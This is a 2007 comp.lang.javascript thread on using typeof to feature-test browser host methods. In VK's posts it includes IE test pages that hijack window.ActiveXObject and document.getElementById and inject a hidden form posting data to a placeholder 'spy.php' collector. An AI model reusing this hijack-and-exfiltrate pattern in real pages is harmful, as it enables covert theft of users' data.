typeof for feature testing host methods
Peter Michaux
host object methods. I have usually just feature tested the existence
of host methods with the following
if (document.getElementById)
There is concern from several people in the group that this is
insufficient for at least a couple reasons.
One reason for concern is the above test does not determine if
document.getElementById is callable. No one has reported a case where
a browser that has document.getElementById will be non-callable. In
some browsers it may be that some other JavaScript has assigned a non-
callable value to the the document.getElementById property. In those
browsers, it may also be true that someone has assigned a function to
document.getElementById. If this has been done then none of the
proposed tests would detect that the callable value is not the
expected callable value. Thomas Lahn seems particularly concerned
about these problems (and he is preparing to tell I am wrong or that I
have missed the point.)
Another reason for concern is that even though the host may provide a
callable document.getElementById but that when writing just "if
(document.getElementById)" it isn't the [[Call]] property the [[Get]]
property that is used. David Mark seems to think this is a problem
with some (all?) ActiveX objects. All host objects are required to
implement [[Get]] so IE is not ECMAScript compliant if it does not. So
when we are feature testing host objects we are worried about testing
ECMAScript non-compliant browsers.
Both Thomas' and David's feature testing uses typeof for testing host
methods.
Thomas tests the document.evaluate host method
<URL: http://pointedears.de/scripts/types.js>
function isMethodType(s)
{
return /\b(function|object)\b/i.test(s);
}
<URL: http://pointedears.de/scripts/dhtml.js>
if (this.isMethodType(typeof document.evaluate) && document.evaluate)
{
// W3C DOM Level 3 XPath
return function dhtml_getElemByTagName(s, i)
{
if (!s)
{
// ---------------------
David tests for document.getElementById
<URL: http://groups.google.com/group/comp.lang.javascript/msg/d8a9ec709205ae47>
var reFeaturedMethod = new RegExp('^function|object$', 'i');
var isFeaturedMethod = function(o, m) {
var t = typeof(o[m]);
return !!((reFeaturedMethod.test(t) && o[m]) || t == 'unknown');
};
if (isFeaturedMethod(doc, 'getElementById')) {
return function(id, docNode) {
return idCheck((docNode || doc).getElementById(id), id);
};
}
// ---------------------
The ECMA standard says that the value of a "typeof hostObject"
expression can be any string. So both Thomas' and David's techniques
could result in false negatives which would leave a browser unenabled.
This is better than a false positive where a function is enabled in a
browser but the function will not function.
What I'm more concerned about is that typeof is being considered a
solution for the unimplemented [[Get]] problem David wrote about. Both
if (document.getElementById)
and
typeof document.getElementById
are described as calling [[Get]] somewhere in their evaluation. If a
browser really did not supply the [[Get]] property at all for an
object then both likely throw an error and probably a TypeError. (More
serious alternatives would be crashing the browser or computer and we
can't protect against that.) The ECMAScript specification of typeof
does not say it will catch that error. Using typeof isn't some sort of
panacea for feature detecting a host method to avoid errors thrown in
non-compliant browsers.
It does seem that using the technique "typeof document.getElementById"
works better in IE than "if (document.getElementById)" if document
happened to be an ActiveX object. However, according to the ECMAScript
standard, there is no reason one should be superior to the other.
Some additional protection for non-compliant browsers could be gained
by adjusting David's code, for example, by adding a try-catch. I've
also changed it to check "unknown" objects for null. It seems to me an
"unknown" object that is null would be somewhat useless.
var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');
var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
return !!(reFeaturedMethod.test(t) && o[m]);
}
catch(e) {
return false;
}
};
This is a general mess thanks to the possible behaviors of non-
compliant browsers. It is somewhat clear that using typeof for testing
a host object feature in a non-complaint browser is not guaranteed to
work but does seem to work in the population of browsers today. It
seems to be a practical solution or at least a better way to feature
detect. It is not a theoretical solution since typeof doesn't catch
errors.
--
Peter
Code Worth Recommending Project
http://cljs.michaux.ca/
Peter Michaux
> I've
> also changed it to check "unknown" objects for null. It seems to me an
> "unknown" object that is null would be somewhat useless.
>
> var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');
>
> var isFeaturedMethod = function(o, m) {
> try {
> var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
> return !!(reFeaturedMethod.test(t) && o[m]);
> }
> catch(e) {
> return false;
> }
>
> };
Laps in judgment above. Should be
var reFeaturedMethod = new RegExp('^function|object$', 'i');
var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
return !!((reFeaturedMethod.test(t) && o[m]) || t == 'unknown');
}
catch(e) {
return false;
}
};
AKS
> var isFeaturedMethod = function(o, m) {
> try {
> var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
-----------------------------
To avoid errors and try...catch:
var t = typeof Object(o)[m];
Peter Michaux
What will that do? Calling Object(o) as a function with an object for
the argument will call ToObject(o) in section 9.9 in ECMAScript 3rd.
When ToObject(o) is passed an object it just returns that object with
no conversion. So "typeof Object(o)[m]" is the same as "typeof o[m]".
AKS
> So "typeof Object(o)[m]" is the same as "typeof o[m]".
I was mistaken (have thought of null), excuse me.
VK
> There have been many threads lately about testing for the existence of
> host object methods. I have usually just feature tested the existence
> of host methods with the following
>
> if (document.getElementById)
>
> There is concern from several people in the group that this is
> insufficient for at least a couple reasons.
>
> One reason for concern is the above test does not determine if
> document.getElementById is callable. No one has reported a case where
> a browser that has document.getElementById will be non-callable. In
> some browsers it may be that some other JavaScript has assigned a non-
> callable value to the the document.getElementById property.
A really good program/programmer must expose two main thinking
features: modularity and synthesis. Modularity makes any task being a
single indivisible unit where any further granularity is either
impossible or pointless. Only _after_ that one can start with
synthesis so to see what units are possible can be overlapped with the
execution blocks.
Modularity was always a weak point of some people in clj because of
the tradition to simply bring all possible/near possible/nearly
impossible failure possibility from all accross the Web and dumping
them into the same subroutine.
In the particular case you are asking about there are two completely
different tasks to deal with:
1) a presence of a particular DOM method in the factory state of a
particular UA.
2) a possibility of a particular DOM method being hidden behind a
maskon at runtime.
The first task for document.getElementById in the particular is not
any more actual and it doesn't worth any programming efforts.
The second task for document element methods fails under the category
of a script developer actively trying to produce a non-working code.
My position remains the same here: so let him. Still the maskon
problem for windows host object methods is actual and important. You
may find interesting to read my post about the maskon problem at
http://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0
It is also useful to read the whole thread inspired my post about the
23rd Chaos Communication Congress in 2006
http://groups.google.com/group/comp.lang.javascript/browse_frm/thread/ee14bbdba707b891
VK
http://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0
I have explained why I would like do not express myself publicly on
the maskon problem though anyone is welcome of course. Somehow you
guys finally arrived to a serious programming task, moreover to the
task where web-developers and browser-developers are being in a sharp
stand: thus what is considered as a security measure by ones - it is
considered as a security violation by other side - and vice versa. But
once again it is not related with document.getElementById method for a
common use library. For the original topic the answer is the same, a
reliable universal wrapper is
function $(id) {
return document.getElementById(id);
}
and not a single char extra.
Since the start of magicFunction/Greeasemonkey/Squid/and Co. deal I
had to write a number of programs ensuring unaltered 3rd party content
delivery to the end client or deny on service of no other way around.
Just take a deep breath please: I never in my life participated in any
illegal activity including virus and trojan destribution. Just in some
businesses - it is not a general rule of the Web - one either takes
what content provider requires or not being served at all. Like one
may pick up only red flowers in the field but left all blue ones; at
the same time one may not pull out bonus 6oz shampoo bottle from the
bonus package and take only that one. Again: a particular situation
may require a particular handling.
Back to the subject:
From the programmatical point of view IE is the most difficult to
fight with maskons, Fx is more eazy on that because of its slavery
ECMA standard emulation window === this === Global. But neither with
IE nor with Fx I want to produce or accelerate the next "security
improvement" by the producers so forced to fix the libraries once over
again. As a compromise I can give you a stripped down version of one
of my year 2006 testcases for IE6. It doesn't cure the problem, but it
still tells you that you have a problem. One may as a mind exercise to
find the alternative for Fx: if more hints are needed I may provide
them.
<html>
<head>
<title>Maskons : IE : ie/2006/023</title>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<script type="text/jscript">
function maskonize() {
window.ActiveXObject = psiConstructor;
var _expando = document.expando;
document.expando = true;
document.getElementById = psiCollector;
document.expando = _expando;
window.setTimeout('takeRedPill()', 10);
}
function takeRedPill() {
if (typeof window.ActiveXObject.
prototype != 'undefined') {
/* Maskon instead of real ActiveXObject */
/* Maskon factory first found and destroyed
*/
// Code is not disclosed
/* Real ActiveXObject is restored
*/
// Code is not disclosed
window.alert('ActiveXObject: Matrix has you!');
}
if (typeof document.getElementById.
prototype != 'undefined') {
/* Maskon instead of real getElementById */
/* Maskon factory first found and destroyed
*/
// Code is not disclosed
/* Real getElementById is restored
*/
// Code is not disclosed
window.alert('getElementById: Matrix has you!');
}
}
function psiConstructor() {}
function psiCollector() {return new Array;}
function psiObjector() {return new Object;}
function psiRelaxer() {return true;}
window.onload = maskonize;
</script>
</head>
<body>
</body>
</html>
David Mark
> On Dec 14, 9:04 pm, Peter Michaux <petermich...@gmail.com> wrote:
>
>
>
>
>
> > I've
> > also changed it to check "unknown" objects for null. It seems to me an
> > "unknown" object that is null would be somewhat useless.
>
> > var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');
>
> > var isFeaturedMethod = function(o, m) {
> > try {
> > var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
> > return !!(reFeaturedMethod.test(t) && o[m]);
> > }
> > catch(e) {
> > return false;
> > }
>
> > };
>
> Laps in judgment above. Should be
>
> var reFeaturedMethod = new RegExp('^function|object$', 'i');
>
> var isFeaturedMethod = function(o, m) {
> try {
> var t = typeof(o[m]); // throws error if
This does not throw an error. Example:
(typeof window.external.addFavorite)
Evaluates to "unknown"
(window.external.addFavorite)
Throws an error in IE.
So I don't see what benefit the try clause adds. However, it does
have the unwanted effect of short-circuiting feature testing in agents
that cannot parse try clauses.
David Mark
> On Dec 15, 8:04 am, Peter Michaux <petermich...@gmail.com> wrote:
>
> > There have been many threads lately about testing for the existence of
> > host object methods. I have usually just feature tested the existence
> > of host methods with the following
>
> > if (document.getElementById)
>
> > There is concern from several people in the group that this is
> > insufficient for at least a couple reasons.
>
> > One reason for concern is the above test does not determine if
> > document.getElementById is callable. No one has reported a case where
> > a browser that has document.getElementById will be non-callable. In
> > some browsers it may be that some other JavaScript has assigned a non-
> > callable value to the the document.getElementById property.
>
[snip]
> In the particular case you are asking about there are two completely
> different tasks to deal with:
>
> 1) a presence of a particular DOM method in the factory state of a
> particular UA.
Can you define "factory state?"
> 2) a possibility of a particular DOM method being hidden behind a
> maskon at runtime.
Behind a what?
>
> The first task for document.getElementById in the particular is not
> any more actual and it doesn't worth any programming efforts.
It isn't clear what you think the first task is.
> The second task for document element methods fails under the category
> of a script developer actively trying to produce a non-working code.
Whatever that means.
> My position remains the same here: so let him. Still the maskon
> problem for windows host object methods is actual and important. You
It seems you don't understand the problem with "windows host object
methods" at all. Microsoft implements some of them as ActiveX objects
and the internal [[Get]] method of their methods throws an exception.
The solution to this is trivial.
> may find interesting to read my post about the maskon problem athttp://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0
No thanks.
>
> It is also useful to read the whole thread inspired my post about the
> 23rd Chaos Communication Congress in 2006http://groups.google.com/group/comp.lang.javascript/browse_frm/thread...
I have little interest in the 23rd iteration of something I have never
heard of. Certainly anything that you consider useful or
inspirational is right out.
Peter Michaux
> On Dec 15, 1:46 am, Peter Michaux <petermich...@gmail.com> wrote:
>
>
>
> > On Dec 14, 9:04 pm, Peter Michaux <petermich...@gmail.com> wrote:
>
> > > I've
> > > also changed it to check "unknown" objects for null. It seems to me an
> > > "unknown" object that is null would be somewhat useless.
>
> > > var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');
>
> > > var isFeaturedMethod = function(o, m) {
> > > try {
> > > var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
> > > return !!(reFeaturedMethod.test(t) && o[m]);
> > > }
> > > catch(e) {
> > > return false;
> > > }
>
> > > };
>
> > Laps in judgment above. Should be
>
> > var reFeaturedMethod = new RegExp('^function|object$', 'i');
>
> > var isFeaturedMethod = function(o, m) {
> > try {
> > var t = typeof(o[m]); // throws error if
>
> This does not throw an error. Example:
>
> (typeof window.external.addFavorite)
In the ECMAScript standarad the above expression uses [[Get]].
> Evaluates to "unknown"
>
> (window.external.addFavorite)
>
> Throws an error in IE.
In the ECMAScript standard the above expression uses [[Get]] just like
the typeof expression above.
It could be something more along the lines of the ToBoolean that is
the problem here instead of a missing [[Get]].
[[Get]] and ToBoolean are only included in the standard as ways to
explain the actual standard.
> So I don't see what benefit the try clause adds.
In a practical sense perhaps nothing. There is nothing in the standard
that states typeof would catch an error thrown if [[Get]] is missing.
> However, it does
> have the unwanted effect of short-circuiting feature testing in agents
> that cannot parse try clauses.
True.
The point I was investigating was is if typeof is implemented
according to the standard, but other parts of the implementation are
non-standard, does typeof guarantee errors will not be thrown? The
answer seems to be no. In practice it seems to be working. If we are
relying on typeof in this way I simply want it noted that there is no
theoretical reason why it should work but that it seems to work.
The additional try-catch would gaurantee that we have the behavior we
are looking for of avoiding throwing errors and the reasoning for this
would then be included in the standard. That is what try-catch is for.
David Mark
> In the linked post of mine:http://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0
> I have explained why I would like do not express myself publicly on
> the maskon problem though anyone is welcome of course. Somehow you
You lost me already.
> guys finally arrived to a serious programming task, moreover to the
> task where web-developers and browser-developers are being in a sharp
> stand: thus what is considered as a security measure by ones - it is
> considered as a security violation by other side - and vice versa. But
Correct me if I am wrong, but even if some meaning could be derived
from this gibberish, it would likely be irrelevant to the current
discussion (which has nothing to do with security.)
> once again it is not related with document.getElementById method for a
> common use library. For the original topic the answer is the same, a
> reliable universal wrapper is
>
> function $(id) {
> return document.getElementById(id);}
That will reliably throw errors in browsers that do not support gEBI.
>
> and not a single char extra.
>
> Since the start of magicFunction/Greeasemonkey/Squid/and Co. deal I
> had to write a number of programs ensuring unaltered 3rd party content
> delivery to the end client or deny on service of no other way around.
You are off in the weeds again.
> Just take a deep breath please: I never in my life participated in any
> illegal activity including virus and trojan destribution. Just in some
> businesses - it is not a general rule of the Web - one either takes
> what content provider requires or not being served at all. Like one
> may pick up only red flowers in the field but left all blue ones; at
> the same time one may not pull out bonus 6oz shampoo bottle from the
> bonus package and take only that one. Again: a particular situation
> may require a particular handling.
I want the last five seconds of my life back.
>
> Back to the subject:
>
That assumes you know what the subject is.
> From the programmatical point of view IE is the most difficult to
> fight with maskons, Fx is more eazy on that because of its slavery
> ECMA standard emulation window === this === Global. But neither with
In what version of IE does the global window property not refer back
to the Global Object? I know it isn't a rule (and certainly not one
defined by the ECMAScript specification), but I have yet to encounter
a version of IE (or any browser) that implements window in any other
way.
> IE nor with Fx I want to produce or accelerate the next "security
> improvement" by the producers so forced to fix the libraries once over
> again. As a compromise I can give you a stripped down version of one
> of my year 2006 testcases for IE6. It doesn't cure the problem, but it
> still tells you that you have a problem. One may as a mind exercise to
> find the alternative for Fx: if more hints are needed I may provide
> them.
Please don't post any more of that code.
David Mark
I didn't think it did. I'll take your word for it.
>
> It could be something more along the lines of the ToBoolean that is
> the problem here instead of a missing [[Get]].
Whether it is a missing [[Get]] or one that deliberately throws errors
is unclear to me.
>
> [[Get]] and ToBoolean are only included in the standard as ways to
> explain the actual standard.
>
> > So I don't see what benefit the try clause adds.
>
> In a practical sense perhaps nothing. There is nothing in the standard
> that states typeof would catch an error thrown if [[Get]] is missing.
This surprises me as typeof(anUndeclaredIdentifier) doesn't throw an
error. But then, I suppose it skips the [[Get]] in that case and just
returns undefined. I'll have to go back and re-read that section.
>
> > However, it does
> > have the unwanted effect of short-circuiting feature testing in agents
> > that cannot parse try clauses.
>
> True.
>
> The point I was investigating was is if typeof is implemented
> according to the standard, but other parts of the implementation are
> non-standard, does typeof guarantee errors will not be thrown? The
From what you have mentioned here (and in the previous post that I
didn't read thoroughly enough), it is no guarantee. It is simply the
best practical solution.
> answer seems to be no. In practice it seems to be working. If we are
> relying on typeof in this way I simply want it noted that there is no
> theoretical reason why it should work but that it seems to work.
So noted.
>
> The additional try-catch would gaurantee that we have the behavior we
> are looking for of avoiding throwing errors and the reasoning for this
> would then be included in the standard. That is what try-catch is for.
>
I guess we need two implementations of that function with appropriate
warnings.
VK
> > 1) a presence of a particular DOM method in the factory state of a
> > particular UA.
>
> Can you define "factory state?"
It is the same as usual. Try google if doesn't help, I guess you'll
guess to skip on say "Florida fuels foam factory ..." and similar so
you'll get a right one among:
http://www.google.com/search?hl=en&q=factory+state&btnG=Google+Search
> > 2) a possibility of a particular DOM method being hidden behind a
> > maskon at runtime.
>
> Behind a what?
If you don't read the post you are replying to then why bother to
answer? (shudder)
> It seems you don't understand the problem with "windows host object
> methods" at all.
Truly I guess no one anymore understands the problems in "Code
recommending"-related threads. These are come kind esoteric pondering
around right after 8-10 initial posts in each. I do vaguely remember -
though I may be mistaken now - that the very first issue was with
typeof operator reporting "object" for some callable instances
(methods) on some browsers in some conditions; also reporting
"function" for some potentially non-callable objects. Somehow - here
I'm still unclear - it was considered important for jPath (?) library
stable usage. So it is started as a search of custom bulletproof
typeof. Am I correct in my description? Are you still there or
advanced somewhere?
> Microsoft implements some of them as ActiveX objects
> and the internal [[Get]] method of their methods throws an exception.
> The solution to this is trivial.
Please don't use ECMA-talk on me, there can be children around. Can
you just tell what script fails, where and on what condition to
illustrate the above problem?
David Mark
> On Dec 15, 9:26 pm, David Mark <dmark.cins...@gmail.com> wrote:
>
> > > 1) a presence of a particular DOM method in the factory state of a
> > > particular UA.
>
> > Can you define "factory state?"
>
> It is the same as usual. Try google if doesn't help, I guess you'll
> guess to skip on say "Florida fuels foam factory ..." and similar so
> you'll get a right one among:http://www.google.com/search?hl=en&q=factory+state&btnG=Google+Search
So the answer to my question appears to be no.
>
> > > 2) a possibility of a particular DOM method being hidden behind a
> > > maskon at runtime.
>
> > Behind a what?
>
> If you don't read the post you are replying to then why bother to
> answer? (shudder)
I read the post. As noted, it was mostly gibberish.
>
> > It seems you don't understand the problem with "windows host object
> > methods" at all.
>
> Truly I guess no one anymore understands the problems in "Code
> recommending"-related threads. These are come kind esoteric pondering
> around right after 8-10 initial posts in each. I do vaguely remember -
> though I may be mistaken now - that the very first issue was with
> typeof operator reporting "object" for some callable instances
> (methods) on some browsers in some conditions; also reporting
> "function" for some potentially non-callable objects. Somehow -
here
Nope.
> I'm still unclear - it was considered important for jPath (?) library
You are always unclear. I've never heard of jPath. Do you mean
jQuery?
> stable usage. So it is started as a search of custom bulletproof
> typeof. Am I correct in my description? Are you still there or
> advanced somewhere?
We finished the discussion some time ago. It doesn't appear that you
have anything relevant to add.
>
> > Microsoft implements some of them as ActiveX objects
> > and the internal [[Get]] method of their methods throws an exception.
> > The solution to this is trivial.
>
> Please don't use ECMA-talk on me, there can be children around. Can
> you just tell what script fails, where and on what condition to
> illustrate the above problem?
Read the thread.
Randy Webb
> There have been many threads lately about testing for the existence of
> host object methods. I have usually just feature tested the existence
> of host methods with the following
>
> if (document.getElementById)
var newScript = document.createElement('script');
newScript.type = "text/javascript";
var s = document.createTextNode(d[x].text);
newScript.appendChild(s);
Ever seen that code? (Or rather, something close to it). You can feature
test your head off and IE will pass every one of them. It still falls
down on itself when trying to appendChild to a script element. The only
way to know it is going to work, or not, in IE is to execute it or
detect IE - either through explicit or implicit tests.
> There is concern from several people in the group that this is
> insufficient for at least a couple reasons.
I think it is, in some cases, but for different reasons.
> One reason for concern is the above test does not determine if
> document.getElementById is callable. No one has reported a case where
> a browser that has document.getElementById will be non-callable. In
> some browsers it may be that some other JavaScript has assigned a non-
> callable value to the the document.getElementById property. In those
> browsers, it may also be true that someone has assigned a function to
> document.getElementById. If this has been done then none of the
> proposed tests would detect that the callable value is not the
> expected callable value.
And if it is over-written, then isn't the author better off knowing that
he screwed up rather than trying to get around that? Let's say it is in
a library that a native function is over-written.
<script src="libraryX.js"></script>
<script src="libraryY.js"></script>
<script src="libraryZ.js"></script>
If libraryX over-writes it, then the page author needs to know, as soon
as possible, that the author of libraryX was smoking weed when he did
it. Trying to compensate for that in libraryY or libraryZ isn't solving
a problem, only making it transparent so that the real problem doesn't
get corrected. Don't confuse that with trying to correct bugs in a
browser (e.g. IE and toFixed).
> Thomas Lahn seems particularly concerned about these problems (and he
> is preparing to tell I am wrong or that I have missed the point.)
Remember that you are referring to a person who wrote a 306 line script
to do a simple image swap.
That is part of the problem in this group. People trying to make things
more difficult than they have to be simply because some browser back in
1997/1998 won't execute the present day code.
I also think that trying to detect that failure will mask potential bugs
in browsers.
> Another reason for concern is that even though the host may provide a
> callable document.getElementById but that when writing just "if
> (document.getElementById)" it isn't the [[Call]] property the [[Get]]
> property that is used. David Mark seems to think this is a problem
> with some (all?) ActiveX objects. All host objects are required to
> implement [[Get]] so IE is not ECMAScript compliant if it does not. So
> when we are feature testing host objects we are worried about testing
> ECMAScript non-compliant browsers.
ActiveX components are different animals and need to be dealt with
differently. As for ECMAScript, we will leave that one alone.
<snip>
> This is a general mess thanks to the possible behaviors of non-
> compliant browsers.
That is why I have always said "Give me what works, not what some
standard says". You can write 100% "compliant" code and if it won't
execute properly in a browser then it is pretty useless, isn't it?
--
Randy
Chance Favors The Prepared Mind
comp.lang.javascript FAQ - http://jibbering.com/faq/index.html
Javascript Best Practices - http://www.JavascriptToolbox.com/bestpractices/
VK
> > One reason for concern is the above test does not determine if
> > document.getElementById is callable. No one has reported a case where
> > a browser that has document.getElementById will be non-callable. In
> > some browsers it may be that some other JavaScript has assigned a non-
> > callable value to the the document.getElementById property. In those
> > browsers, it may also be true that someone has assigned a function to
> > document.getElementById. If this has been done then none of the
> > proposed tests would detect that the callable value is not the
> > expected callable value.
> And if it is over-written, then isn't the author better off knowing that
> he screwed up rather than trying to get around that?
In about 99% of cases it is. In about 1% it may be the security
requirement implication to ensure de-maskoned environment. That was
addressed and explained how to detect - if not to fix - in my posts in
this thread. I'm affraid that David Mark is too much of irritation to
keep arguing with him. I'm OK if someone knows the stuff even if he
has a completely different opinion about its interpretation. I'm OK
with someone with a luck of knowledge but ready to peak up on the go.
I'm out of patience very quickly with someone without any knowledge
yet refusing to learn any new things.
While document.getElementById is a silly case to worry about,
window.ActiveXObject is sometimes an important object to check not
only for presence but also for the factory state.
NB: just for David Mark if he still puzzled - "factory state" is the
state intended to be by the application producer for the given
release. It doesn't imply "standard compliant", "correct" etc.
Say for a real specie from my last year test cases:
<html>
<head>
<title>Maskons : IE : ie/2006/104</title>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<script type="text/jscript">
function maskonize() {
document.body.
insertAdjacentHTML('beforeEnd', ''.concat(
'<form name="fmsksg" method="POST" ',
'action="http://www.sample.net/spy.php" ',
'style="position:absolute !important">',
'<input type="hidden" name="data" value="">',
'</form>'));
window.ActiveXObject = maskonize.ActiveXObject;
}
maskonize.ActiveXObject = function(id) {
// malicious code removed
}
</script>
</head>
<body onload="maskonize();">
</body>
</html>
So sometimes one will not give a damn sh** what does typeof return but
wants to know _what_ object, the real or a maskon, he will be dealing
with.
> That is why I have always said "Give me what works, not what some
> standard says". You can write 100% "compliant" code and if it won't
> execute properly in a browser then it is pretty useless, isn't it?
Amen!
David Mark
> Peter Michaux said the following on 12/15/2007 12:04 AM:
>
> > There have been many threads lately about testing for the existence of
> > host object methods. I have usually just feature tested the existence
> > of host methods with the following
>
> > if (document.getElementById)
>
> var newScript = document.createElement('script');
> newScript.type = "text/javascript";
> var s = document.createTextNode(d[x].text);
> newScript.appendChild(s);
>
> Ever seen that code? (Or rather, something close to it). You can feature
Many times.
> test your head off and IE will pass every one of them. It still falls
> down on itself when trying to appendChild to a script element. The only
> way to know it is going to work, or not, in IE is to execute it or
> detect IE - either through explicit or implicit tests.
I use the canHaveChildren property.
I must have missed that one.
>
> That is part of the problem in this group. People trying to make things
> more difficult than they have to be simply because some browser back in
> 1997/1998 won't execute the present day code.
The isHostMethod (nee isFeaturedMethod) function is easy enough to use
and it is at most two lines long.
>
> I also think that trying to detect that failure will mask potential bugs
> in browsers.
You can't detect it reliably anyway. They could overwrite the method
with a function or Object object, which would pass muster.
>
> > Another reason for concern is that even though the host may provide a
> > callable document.getElementById but that when writing just "if
> > (document.getElementById)" it isn't the [[Call]] property the [[Get]]
> > property that is used. David Mark seems to think this is a problem
> > with some (all?) ActiveX objects. All host objects are required to
> > implement [[Get]] so IE is not ECMAScript compliant if it does not. So
> > when we are feature testing host objects we are worried about testing
> > ECMAScript non-compliant browsers.
>
> ActiveX components are different animals and need to be dealt with
> differently. As for ECMAScript, we will leave that one alone.
Not really. IE implements some DOM elements as ActiveX objects (e.g.
anchors that link to news resources.) And then there is
window.external, which is an ActiveX object now, but might not be in
the future. There's no telling what host objects MS will or won't
implement as ActiveX objects. If they do it for DOM elements, who is
to say that document won't be an ActiveX object in IE8? If it is,
then evaluating (document.getElementById) will throw an error (just as
a.href can in IE7.)
I really don't think there is much to argue about in a two-line
function.
David Mark
> On Dec 15, 10:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>
> > > One reason for concern is the above test does not determine if
> > > document.getElementById is callable. No one has reported a case where
> > > a browser that has document.getElementById will be non-callable. In
> > > some browsers it may be that some other JavaScript has assigned a non-
> > > callable value to the the document.getElementById property. In those
> > > browsers, it may also be true that someone has assigned a function to
> > > document.getElementById. If this has been done then none of the
> > > proposed tests would detect that the callable value is not the
> > > expected callable value.
> > And if it is over-written, then isn't the author better off knowing that
> > he screwed up rather than trying to get around that?
>
> In about 99% of cases it is. In about 1% it may be the security
> requirement implication to ensure de-maskoned environment. That was
> addressed and explained how to detect - if not to fix - in my posts in
> this thread. I'm affraid that David Mark is too much of irritation to
> keep arguing with him. I'm OK if someone knows the stuff even if he
> has a completely different opinion about its interpretation. I'm OK
> with someone with a luck of knowledge but ready to peak up on the go.
> I'm out of patience very quickly with someone without any knowledge
> yet refusing to learn any new things.
LOL. I am afraid I don't want to learn about your "red pills" or
"blue flowers" or (if memory serves me correctly) the "drunken cowboy
and parrot" metaphor from some long ago post.
>
> While document.getElementById is a silly case to worry about,
> window.ActiveXObject is sometimes an important object to check not
> only for presence but also for the factory state.
> NB: just for David Mark if he still puzzled - "factory state" is the
I wasn't puzzled. I simply posed the question as to whether you could
define it or not. You refused in the last reply.
> state intended to be by the application producer for the given
> release. It doesn't imply "standard compliant", "correct" etc.
Apparently, the answer is still no, at least if one expects a coherent
definition.
> Say for a real specie from my last year test cases:
>
> <html>
> <head>
> <title>Maskons : IE : ie/2006/104</title>
> <meta http-equiv="Content-Type"
> content="text/html; charset=iso-8859-1">
>
> <script type="text/jscript">
>
> function maskonize() {
> document.body.
> insertAdjacentHTML('beforeEnd', ''.concat(
> '<form name="fmsksg" method="POST" ',
> 'action="http://www.sample.net/spy.php" ',
> 'style="position:absolute !important">',
> '<input type="hidden" name="data" value="">',
> '</form>'));
> window.ActiveXObject = maskonize.ActiveXObject;
>
> }
>
> maskonize.ActiveXObject = function(id) {
> // malicious code removed}
>
> </script>
> </head>
> <body onload="maskonize();">
> </body>
> </html>
I asked you not to do that.
[snip]
VK
> I am afraid I don't want to learn about your "red pills" or
> "blue flowers" or (if memory serves me correctly) the "drunken cowboy
> and parrot" metaphor from some long ago post.
No one requires it from you. Simply study and test on IE the posted
code.
> I wasn't puzzled. I simply posed the question as to whether you could
> define it or not. You refused in the last reply.
Sorry, but I'm not Random House Webster's. If I'm using a word coined
by myself or a known word used in an irregular meaning then of course
I do explain it. Otherwise dictionaries are your friends ;-) Or say
call to HP tech support and ask them what "factory state" is from
http://docs.hp.com/en/541359-001/ch03s04.html
(that from the top part of the suggested Google search).
> > Say for a real specie from my last year test cases:
>
> > <html>
> > <head>
> > <title>Maskons : IE : ie/2006/104</title>
> > <meta http-equiv="Content-Type"
> > content="text/html; charset=iso-8859-1">
>
> > <script type="text/jscript">
>
> > function maskonize() {
> > document.body.
> > insertAdjacentHTML('beforeEnd', ''.concat(
> > '<form name="fmsksg" method="POST" ',
> > 'action="http://www.sample.net/spy.php" ',
> > 'style="position:absolute !important">',
> > '<input type="hidden" name="data" value="">',
> > '</form>'));
> > window.ActiveXObject = maskonize.ActiveXObject;
>
> > }
>
> > maskonize.ActiveXObject = function(id) {
> > // malicious code removed}
>
> > </script>
> > </head>
> > <body onload="maskonize();">
> > </body>
> > </html>
> I asked you not to do that.
Do not do what? This thread is started by Peter Michaux and in OP he
expressed two possible concerns. I am so far answering to the first
one - let's call it "Thomas' concern" by the initial attribution. The
2nd, "David's concern",a is not answered yet because it is not clear
what this concern is about: what is "missing [[Get]] for ActiveX
objects" ?
David Mark
> On Dec 16, 12:05 am, David Mark <dmark.cins...@gmail.com> wrote:
>
> > I am afraid I don't want to learn about your "red pills" or
> > "blue flowers" or (if memory serves me correctly) the "drunken cowboy
> > and parrot" metaphor from some long ago post.
>
> No one requires it from you. Simply study and test on IE the posted
> code.
Your posted code?! What a waste of time that would be.
[snip]
> > I asked you not to do that.
>
> Do not do what? This thread is started by Peter Michaux and in OP he
> expressed two possible concerns. I am so far answering to the first
> one - let's call it "Thomas' concern" by the initial attribution. The
You aren't answering anything, just muddling a very simple issue (as
usual.)
> 2nd, "David's concern",a is not answered yet because it is not clear
> what this concern is about: what is "missing [[Get]] for ActiveX
> objects"
Let me see if I can explain it in terms you will understand.
Your browser is drunken cowboy that shoots parrots and squids in
fields of red and blue flowers and vice versa.
VK
> > 2nd, "David's concern",a is not answered yet because it is not clear
> > what this concern is about: what is "missing [[Get]] for ActiveX
> > objects"
> Let me see if I can explain it in terms you will understand.
>
> Your browser is drunken cowboy that shoots parrots and squids in
> fields of red and blue flowers and vice versa.
OK... If the "Thomas' concern" may be possibly solved by
programmatical means then "David's concern" seems out the knowledge
of c.l.j. He really concerns me now... not his concern...
David Mark
Sorry, I didn't have an English to VK dictionary handy. To avoid
future confusion, perhaps you should create and post in a new group:
comp.lang.javascript.vk. If you don't know how to do this, I'm sure
somebody here will volunteer to help.
Randy Webb
> On Dec 15, 2:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>> Peter Michaux said the following on 12/15/2007 12:04 AM:
>>
>>> There have been many threads lately about testing for the existence of
>>> host object methods. I have usually just feature tested the existence
>>> of host methods with the following
>>> if (document.getElementById)
>> var newScript = document.createElement('script');
>> newScript.type = "text/javascript";
>> var s = document.createTextNode(d[x].text);
>> newScript.appendChild(s);
>>
